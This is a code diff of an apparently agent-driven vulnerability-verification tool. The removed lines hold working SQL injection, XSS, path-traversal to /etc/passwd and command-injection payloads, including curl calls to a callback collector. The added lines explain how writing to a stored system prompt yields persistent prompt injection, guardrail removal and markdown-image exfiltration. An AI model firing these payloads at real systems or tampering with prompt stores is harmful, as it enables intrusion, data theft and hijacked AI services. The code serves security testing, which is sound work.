- return notVerifiable("no injectable parameter found in finding evidence");
1679
- const signals = [];
1680
- const baseline = await timedFetch(...Object.values(buildProbeRequest(parsed, { [victim.key]: victim.value })));
1681
- if (!baseline)
1682
- return notVerifiable("baseline request failed");
1683
- const trueProbe = await timedFetch(...Object.values(buildProbeRequest(parsed, { [victim.key]: `${victim.value}' OR 1=1-- -` })));
1684
- const falseProbe = await timedFetch(...Object.values(buildProbeRequest(parsed, { [victim.key]: `${victim.value}' OR 1=2-- -` })));
1685
- if (trueProbe && falseProbe && trueProbe.body.length > 0) {
1686
- const delta = Math.abs(trueProbe.body.length - falseProbe.body.length) / Math.max(trueProbe.body.length, 1);
1687
- if (delta > 0.1) {
1688
- signals.push(`boolean_diff: |true|=${trueProbe.body.length} |false|=${falseProbe.body.length} delta=${delta.toFixed(2)}`);
1689
- }
1690
- }
1691
- const timePayloads = [
1692
- `${victim.value}' AND SLEEP(3)-- -`,
1693
- `${victim.value}'; SELECT pg_sleep(3)-- -`,
1694
- `${victim.value}' AND (SELECT 1 FROM (SELECT SLEEP(3))a)-- -`
1695
- ];
1696
- for (const payload of timePayloads) {
1697
- const probe = await timedFetch(...Object.values(buildProbeRequest(parsed, { [victim.key]: payload })), 8e3);
1698
- if (probe && baseline.latencyMs < 500 && probe.latencyMs > 2500) {
1699
- signals.push(`time_based: baseline=${baseline.latencyMs}ms probe=${probe.latencyMs}ms`);
1700
- break;
1701
- }
1702
- }
1703
- const errProbe = await timedFetch(...Object.values(buildProbeRequest(parsed, { [victim.key]: `${victim.value}'` })));
1704
- if (errProbe) {
1705
- const err = detectSqlError(errProbe.body);
1706
- if (err)
1707
- signals.push(`sql_error: ${err}`);
1708
- }
1709
- if (signals.length >= 2) {
1710
- return verified(signals.join(" | "));
1711
- }
1712
- return {
1713
- verified: false,
1714
- confidence: signals.length === 1 ? 0.4 : 0,
1715
- evidence: signals.join(" | "),
1716
- reason: signals.length === 1 ? `only 1/3 sqli signals fired: ${signals[0]}` : "no sqli signals fired"
1717
- };
1718
- }
1719
- async function verifyReflectedXss(finding, target) {
1720
- const parsed = parseRequest(finding.evidence?.request ?? "", target);
1721
- const victim = pickInjectableParam(parsed);
1722
- if (!victim)
1723
- return notVerifiable("no injectable parameter found in finding evidence");
1724
- const token = `osec_${randomUUID().replace(/-/g, "")}`;
1725
- const payload = `<script>alert('${token}')</script>`;
1726
- const { url, init } = buildProbeRequest(parsed, {
1727
- [victim.key]: payload
1728
- });
1729
- const probe = await timedFetch(url, init);
1730
- const htmlReflected = !!probe && probe.body.includes(payload) && !probe.body.includes(`&lt;script&gt;alert(&#39;${token}&#39;)&lt;/script&gt;`);
1731
- let playwright = null;
1732
- try {
1733
- playwright = await import("playwright");
1734
- } catch {
1735
- }
1736
- if (playwright) {
1737
- let browser = null;
1738
- try {
1739
- browser = await playwright.chromium.launch({ headless: true });
1740
- const page = await browser.newPage();
1741
- let dialogMessage = "";
1742
- page.on("dialog", async (dialog) => {
1743
- dialogMessage = dialog.message();
1744
- await dialog.dismiss().catch(() => {
1745
- });
1746
- });
1747
- await page.goto(url, { timeout: 8e3, waitUntil: "domcontentloaded" });
1748
- await page.waitForTimeout(500);
1749
- await browser.close();
1750
- browser = null;
1751
- if (dialogMessage.includes(token)) {
1752
- return verified(`playwright dialog captured token=${token} message="${dialogMessage}"`);
1753
- }
1754
- } catch (err) {
1755
- if (browser)
1756
- await browser.close().catch(() => {
1757
- });
1758
- return {
1759
- verified: false,
1760
- confidence: htmlReflected ? 0.4 : 0,
1761
- evidence: htmlReflected ? `html_reflection: payload reflected in body` : "",
1762
- reason: `playwright navigation failed: ${err.message}`
1763
- };
1764
- }
1765
- }
1766
- if (htmlReflected) {
1767
- return {
1768
- verified: false,
1769
- confidence: 0.5,
1770
- evidence: `html_reflection: payload reflected unencoded in response body`,
1771
- reason: "payload reflected but no alert dialog captured (playwright unavailable or dialog didn't fire)"
1772
- };
1773
- }
1774
- return notVerifiable("no xss reflection or alert captured");
1775
- }
1776
- async function withCollector(nonce, timeoutMs, work) {
1777
- const port = 8888 + Math.floor(Math.random() * 1e3);
1778
- let hit = false;
1779
- const server = createServer((req, res) => {
1780
- if ((req.url ?? "").includes(nonce))
1781
- hit = true;
1782
- res.writeHead(200);
1783
- res.end("ok");
1784
- });
1785
- await new Promise((resolve) => server.listen(port, "127.0.0.1", resolve));
1786
- const collectorUrl = `http://127.0.0.1:${port}/${nonce}`;
1787
- const waitForHit = async () => {
1788
- const deadline = Date.now() + timeoutMs;
1789
- while (Date.now() < deadline) {
1790
- if (hit)
1791
- return true;
1792
- await new Promise((r) => setTimeout(r, 100));
1793
- }
1794
- return hit;
1795
- };
1796
- try {
1797
- return await work(collectorUrl, waitForHit);
1798
- } finally {
1799
- await new Promise((resolve) => server.close(() => resolve()));
1897
+ /garbage collector/i,
1898
+ /\.rs\b/,
1899
+ /\bcargo\b/i,
1900
+ /\bsegfault\b/i,
1901
+ /sandbox escape/i
1902
+ ]
1800
1903
  }
1801
- }
1802
- async function verifySsrf(finding, target) {
1803
- const parsed = parseRequest(finding.evidence?.request ?? "", target);
1804
- const victim = pickInjectableParam(parsed);
1805
- if (!victim)
1806
- return notVerifiable("no injectable parameter found in finding evidence");
1807
- const nonce = `ssrf${randomUUID().replace(/-/g, "").slice(0, 16)}`;
1808
- return withCollector(nonce, 6e3, async (collectorUrl, waitForHit) => {
1809
- const { url, init } = buildProbeRequest(parsed, {
1810
- [victim.key]: collectorUrl
1811
- });
1812
- const probe = await timedFetch(url, init, 8e3);
1813
- if (!probe)
1814
- return notVerifiable("ssrf probe failed to send");
1815
- const hit = await waitForHit();
1816
- if (hit) {
1817
- return verified(`collector hit: nonce=${nonce} path=/${nonce}`);
1818
- }
1819
- return {
1820
- verified: false,
1821
- confidence: 0,
1822
- evidence: "",
1823
- reason: `collector never received a request for nonce=${nonce}`
1824
- };
1825
- });
1826
- }
1827
- async function verifyRce(finding, target) {
1828
- const parsed = parseRequest(finding.evidence?.request ?? "", target);
1829
- const victim = pickInjectableParam(parsed);
1830
- if (!victim)
1831
- return notVerifiable("no injectable parameter found in finding evidence");
1832
- const nonce = `rce${randomUUID().replace(/-/g, "").slice(0, 16)}`;
1833
- return withCollector(nonce, 8e3, async (collectorUrl, waitForHit) => {
1834
- const payloads = [
1835
- `${victim.value};curl ${collectorUrl}`,
1836
- `${victim.value}|curl ${collectorUrl}`,
1837
- `${victim.value}$(curl ${collectorUrl})`,
1838
- `${victim.value}\`curl ${collectorUrl}\``,
1839
- `${victim.value}&&curl ${collectorUrl}`
1840
- ];
1841
- for (const payload of payloads) {
1842
- const { url, init } = buildProbeRequest(parsed, {
1843
- [victim.key]: payload
1844
- });
1845
- await timedFetch(url, init, 8e3);
1904
+ ];
1905
+ function detectPlaybooks(toolResultTexts) {
1906
+ const combined = toolResultTexts.join("\n");
1907
+ const scores = /* @__PURE__ */ new Map();
1908
+ for (const indicator of INDICATORS) {
1909
+ let matchCount = 0;
1910
+ for (const pattern of indicator.patterns) {
1911
+ if (pattern.test(combined)) {
1912
+ matchCount++;
1913
+ }
1846
1914
  }
1847
- const hit = await waitForHit();
1848
- if (hit)
1849
- return verified(`collector hit: nonce=${nonce}`);
1850
- return {
1851
- verified: false,
1852
- confidence: 0,
1853
- evidence: "",
1854
- reason: `collector never received a request for nonce=${nonce}`
1855
- };
1856
- });
1857
- }
1858
- var PASSWD_PATTERN = /root:x:0:0:|\/bin\/(bash|sh|dash)/;
1859
- async function verifyPathTraversal(finding, target) {
1860
- const parsed = parseRequest(finding.evidence?.request ?? "", target);
1861
- const victim = pickInjectableParam(parsed);
1862
- if (!victim)
1863
- return notVerifiable("no injectable parameter found in finding evidence");
1864
- const payloads = [
1865
- "../../../../etc/passwd",
1866
- "..%2f..%2f..%2f..%2fetc%2fpasswd",
1867
- "..%252f..%252f..%252fetc%252fpasswd",
1868
- "../../../../etc/passwd%00",
1869
- "....//....//....//etc/passwd",
1870
- "/etc/passwd"
1871
- ];
1872
- for (const payload of payloads) {
1873
- const { url, init } = buildProbeRequest(parsed, {
1874
- [victim.key]: payload
1875
- });
1876
- const probe = await timedFetch(url, init);
1877
- if (!probe)
1878
- continue;
1879
- const m = probe.body.match(PASSWD_PATTERN);
1880
- if (m) {
1881
- return verified(`payload=${payload} response contained "${m[0]}"`);
1915
+ if (matchCount >= 2) {
1916
+ scores.set(indicator.type, matchCount);
1882
1917
  }
1883
1918
  }
1884
- return notVerifiable("no /etc/passwd signature in any traversal probe response");
1919
+ return [...scores.entries()].sort((a, b) => b[1] - a[1]).slice(0, 3).map(([type]) => type);
1885
1920
  }
1886
- async function verifyIdor(finding, target) {
1887
- const parsed = parseRequest(finding.evidence?.request ?? "", target);
1888
- let idKey = null;
1889
- let idValue = 0;
1890
- for (const [k, v] of Object.entries(parsed.params)) {
1891
- if (/^(id|uid|user_id|account_id|order_id|pid)$/i.test(k) && /^\d+$/.test(v)) {
1892
- idKey = k;
1893
- idValue = parseInt(v, 10);
1894
- break;
1895
- }
1921
+ function buildPlaybookInjection(types) {
1922
+ const sections = types.map((t) => PLAYBOOKS[t]).filter(Boolean);
1923
+ if (sections.length === 0)
1924
+ return "";
1925
+ return [
1926
+ "## Dynamic Playbook Injection",
1927
+ "",
1928
+ "Based on reconnaissance so far, these vulnerability-specific methodologies apply.",
1929
+ "Follow the steps below \u2014 they are tuned for the patterns detected in this target.",
1930
+ "",
1931
+ ...sections
1932
+ ].join("\n");
1933
+ }
1934
+ var PROMPT_LAYER_IMPACT_RULES = [
1935
+ {
1936
+ impact: "guardrail_removal",
1937
+ patterns: [
1938
+ /\bguardrail/i,
1939
+ /safety[_\s-]?settings?/i,
1940
+ /\bmoderation\b/i,
1941
+ /\bpolicy\b/i,
1942
+ /\brefus/i,
1943
+ /\bnever (?:reveal|disclose|share|answer)/i,
1944
+ /you must (?:refuse|not)/i,
1945
+ /content[_\s-]?filter/i
1946
+ ]
1947
+ },
1948
+ {
1949
+ impact: "output_channel_exfil",
1950
+ patterns: [
1951
+ /output[_\s-]?(?:channel|template|format)/i,
1952
+ /webhook/i,
1953
+ /\bcallback\b/i,
1954
+ /markdown/i,
1955
+ /!\[[^\]]*\]\(https?:\/\//,
1956
+ /append .*(?:url|link|http)/i
1957
+ ]
1958
+ },
1959
+ {
1960
+ impact: "model_config_tamper",
1961
+ patterns: [
1962
+ /model[_\s-]?(?:config|name|id)/i,
1963
+ /\btemperature\b/i,
1964
+ /\btop[_\s-]?p\b/i,
1965
+ /\bmax[_\s-]?tokens\b/i,
1966
+ /tool[_\s-]?(?:config|choice|s)\b/i,
1967
+ /function[_\s-]?(?:config|call)/i,
1968
+ /assistant[_\s-]?config/i,
1969
+ /agent[_\s-]?config/i
1970
+ ]
1971
+ },
1972
+ {
1973
+ impact: "prompt_poisoning",
1974
+ patterns: [
1975
+ /system[_\s-]?prompt/i,
1976
+ /prompt[_\s-]?template/i,
1977
+ /\bprompts?\b/i,
1978
+ /\binstructions?\b/i,
1979
+ /\bpersona\b/i,
1980
+ /you are (?:a|an|now|the)/i
1981
+ ]
1896
1982
  }
1897
- if (!idKey) {
1898
- for (const [k, v] of Object.entries(parsed.params)) {
1899
- if (/^\d+$/.test(v)) {
1900
- idKey = k;
1901
- idValue = parseInt(v, 10);
1902
- break;
1903
- }
1904
- }
1983
+ ];
1984
+ function looksLikePromptLayer(haystack) {
1985
+ return PROMPT_LAYER_IMPACT_RULES.some((rule) => rule.patterns.some((p) => p.test(haystack)));
1986
+ }
1987
+ function classifyPromptLayerImpact(asset) {
1988
+ const haystack = [asset.table, asset.column, asset.sample].filter(Boolean).join(" ");
1989
+ const isPromptLayer = looksLikePromptLayer(haystack);
1990
+ if (!isPromptLayer) {
1991
+ return {
1992
+ isPromptLayer: false,
1993
+ impacts: [],
1994
+ severity: "info",
1995
+ narrative: "No prompt-layer signal: the asset does not look like a system prompt, guardrail, model config, or output-channel store. Not a prompt-layer write target."
1996
+ };
1905
1997
  }
1906
- if (!idKey)
1907
- return notVerifiable("no numeric id-like parameter to mutate");
1908
- const baseline = await timedFetch(...Object.values(buildProbeRequest(parsed, { [idKey]: String(idValue) })));
1909
- if (!baseline)
1910
- return notVerifiable("baseline request failed");
1911
- const variants = [String(idValue + 1), String(Math.max(0, idValue - 1)), "0"];
1912
- const hits = [];
1913
- for (const variant of variants) {
1914
- if (variant === String(idValue))
1915
- continue;
1916
- const probe = await timedFetch(...Object.values(buildProbeRequest(parsed, { [idKey]: variant })));
1917
- if (!probe)
1918
- continue;
1919
- if (probe.status === 200 && probe.body.length > 0 && probe.body !== baseline.body) {
1920
- hits.push(`${idKey}=${variant} status=200 body_delta=${Math.abs(probe.body.length - baseline.body.length)}`);
1998
+ const impacts = [];
1999
+ for (const rule of PROMPT_LAYER_IMPACT_RULES) {
2000
+ if (rule.patterns.some((p) => p.test(haystack))) {
2001
+ impacts.push(rule.impact);
1921
2002
  }
1922
2003
  }
1923
- if (hits.length > 0) {
2004
+ if (!asset.writable) {
1924
2005
  return {
1925
- verified: true,
1926
- confidence: 0.7,
1927
- evidence: `distinct responses on id mutation: ${hits.join(", ")}`,
1928
- reason: ""
2006
+ isPromptLayer: true,
2007
+ impacts: [],
2008
+ severity: "low",
2009
+ narrative: `Prompt-layer asset detected (${describeAsset(asset)}) but no write path was confirmed from this foothold. Read exposure only \u2014 flag for review; re-check write privileges (SHOW GRANTS / admin edit endpoint) before claiming impact.`
1929
2010
  };
1930
2011
  }
1931
- return notVerifiable("no distinct 200 response on id mutation");
2012
+ const reRead = asset.reReadAtInference === true;
2013
+ const severity = reRead ? "high" : "low";
2014
+ const impactLabels = impacts.map((i) => IMPACT_NARRATIVE[i]);
2015
+ const narrative = [
2016
+ `WRITABLE prompt-layer asset (${describeAsset(asset)}).`,
2017
+ reRead ? "The app re-reads this row at inference, so a write persists as a server-side prompt injection affecting EVERY future response for all users until reverted \u2014 invisible to end users and surviving restarts." : "Re-read-at-inference was NOT confirmed; impact may be limited if the prompt is cached or baked into code/env. Confirm the worker queries this row per request before escalating.",
2018
+ `Impact class(es): ${impacts.join(", ")}.`,
2019
+ ...impactLabels.map((l) => `- ${l}`),
2020
+ "Verification-only: NO destructive write was performed; write capability is asserted from privilege/endpoint evidence."
2021
+ ].join("\n");
2022
+ return { isPromptLayer: true, impacts, severity, narrative };
1932
2023
  }
1933
- async function verifyOracleByCategory(finding, target) {
1934
- const category = finding.category;
1935
- switch (category) {
1936
- case "sql-injection":
1937
- return verifySqli(finding, target);
1938
- case "xss":
1939
- return verifyReflectedXss(finding, target);
1940
- case "ssrf":
1941
- return verifySsrf(finding, target);
1942
- case "command-injection":
1943
- case "code-injection":
1944
- return verifyRce(finding, target);
1945
- case "path-traversal":
1946
- return verifyPathTraversal(finding, target);
1947
- // Heuristic: "information-disclosure" findings referencing an id param
1948
- // look a lot like IDOR. We route them through the IDOR oracle as well.
1949
- case "information-disclosure":
1950
- return verifyIdor(finding, target);
1951
- default:
1952
- return {
1953
- verified: false,
1954
- confidence: 0,
1955
- evidence: "",
1956
- reason: `no oracle for category="${category}"`
1957
- };
1958
- }
2024
+ var IMPACT_NARRATIVE = {
2025
+ prompt_poisoning: "prompt_poisoning: rewriting the system prompt / persona hijacks every response (exfil instructions, scams, malicious links, brand damage).",
2026
+ guardrail_removal: "guardrail_removal: editing safety/refusal/policy text or flipping a moderation flag jailbreaks the model by config \u2014 it answers what it refused.",
2027
+ output_channel_exfil: "output_channel_exfil: injecting markdown-image/link or output-sink instructions silently exfiltrates conversation data on every turn.",
2028
+ model_config_tamper: "model_config_tamper: swapping model name, raising temperature, or rewiring tool/function config degrades safety or steers the agent to attacker tools."
2029
+ };
2030
+ function describeAsset(asset) {
2031
+ const loc = [asset.table, asset.column].filter(Boolean).join(".");
2032
+ return loc || "unnamed asset";
1959
2033
  }
1960
2034
 
1961
2035
  export {
2036
+ parseRequest,
2037
+ verifyOracleByCategory,
1962
2038
  parseSanitizerLog,
1963
2039
  renderSanitizerVerdict,
1964
2040
  detectPlaybooks,
1965
2041
  buildPlaybookInjection,
1966
- classifyPromptLayerImpact,
1967
- verifyOracleByCategory
2042
+ classifyPromptLayerImpact
1968
2043
  };